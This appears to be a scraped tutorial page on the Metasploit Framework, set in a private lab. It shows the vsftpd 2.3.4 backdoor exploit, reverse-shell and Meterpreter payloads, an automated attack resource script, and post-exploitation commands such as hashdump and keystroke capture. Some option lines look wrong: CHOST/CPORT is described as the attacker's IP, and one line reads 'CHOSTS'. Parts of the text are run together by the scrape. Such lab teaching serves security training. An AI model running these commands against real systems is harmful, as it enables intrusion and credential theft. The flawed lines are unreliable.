![]() |
VOOZH | about |
The Metasploit Framework is a powerful tool used by ethical hackers to identify, exploit, and assess vulnerabilities in systems. In this section, we will focus on the core components that make up the framework: exploits, payloads, scanners, and post-exploitation modules.
We can categorize our workflow when performing an exploit using Metasploit into 5 parts: Recon, Exploit, Payload, Post-Exploitation, and Reporting. These are the steps you follow in any exploitation methodology. Below is a reference chart that will help you remember the functions of these steps and the actions they perform.
| Stage | Tool/Action | Example in this Lab |
|---|---|---|
| Recon | Nmap | Identify open ports & services |
| Exploit | Metasploit exploit module | VSFTPD backdoor or Samba exploit |
| Payload | Meterpreter reverse shell | Gain control over the target |
| Post-Exploitation | Meterpreter commands | Dump system info, capture screenshots |
| Reporting | Notes & screenshots | Save commands and results |
msfconsoleYou'll see the Metasploit banner and prompt:
msf6>Metasploit has a built-in search:
search vsftpdExample output:
exploit/unix/ftp/vsftpd_234_backdoor4. Selecting and Using an Exploit
use exploit/unix/ftp/vsftpd_234_backdoorconfirm with:
show optionsYou will see configurable parameters like:
RHOSTS - > Target IP
RPORT -> Target Port (default 21)
set RHOSTS 192.168.56.103A payload is code that runs after the exploit succeeds.
For remote shells:
set payload cmd/unix/interactFor Meterpreter on Windows targets:
set payload windows/meterpreter/reverse_tcpset CHOST 192.168.56.102 # Your Kali IP
set CPORT 4444
exploitIf successful, you'll have a session:
[*] Command shell session 1 openedTry these commands once you get a successful session:
shell
sysinfo
getuid
You can explore the filesystem, capture keystrokes, or pivot to other hosts.
search scanner/ftp
use auxiliary/scanner/ftp/ftp_version
set RHOST 192.168.56.103
run
This identifies the FTP version without exploiting it.
Save a sequence of commands into a file:
nano ftp_attack.rcExample:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.103
set CHOSTS 192.168.56.102
set CPORT 4444
set payload cmd/unix/interact
exploit
Run it:
msfconsole -q -r ftp_attack.rcIt covers search syntax for finding exploits, payloads, and auxiliary modules, along with common exploit categories and payload examples.
search type:exploit name:ftp
search type:auxiliary name:scanner
search type:payload platform:linux
Keywords you can use:
type: → exploit, auxiliary, payload, postplatform: → windows, linux, unix, multi, osxname: → protocol/service name (e.g., ssh, mysql)show exploits # List all exploits
show payloads # List all payloads
show auxiliary # List all scanner/utility modules
show post # List all post-exploitation modules
| Category | Example Module | Purpose |
|---|---|---|
| FTP | exploit/unix/ftp/vsftpd_234_backdoor | Exploit backdoor in vsftpd 2.3.4 |
| SMB | exploit/windows/smb/ms08_067_netapi | Windows Server 2003 SMB vuln |
| HTTP/Web | exploit/multi/http/php_cgi_arg_injection | PHP CGI vuln |
| Database | exploit/multi/mysql/mysql_udf_payload | MySQL UDF execution |
| Platform | Payload | Description |
|---|---|---|
| Linux | cmd/unix/interact | Basic shell |
| Linux | linux/x86/meterpreter/reverse_tcp | Meterpreter shell |
| Windows | windows/meterpreter/reverse_tcp | Full-featured reverse shell |
| Multi | generic/shell_reverse_tcp | Simple TCP reverse shell |
| Module | Example | Usage |
|---|---|---|
| Service scanner | auxiliary/scanner/ftp/ftp_version | Find FTP version |
| Brute force | auxiliary/scanner/ssh/ssh_login | Attempt SSH logins |
| Vulnerability scanner | auxiliary/scanner/http/http_version | Detect web server type |
sysinfo # Get OS info
getuid # Get current user
hashdump # Dump password hashes
download <file> # Download file
upload <file> # Upload file
screenshot # Capture desktop
nmap -sVsearch name:servicename version:versionnumberinfo exploit/pathshow payloads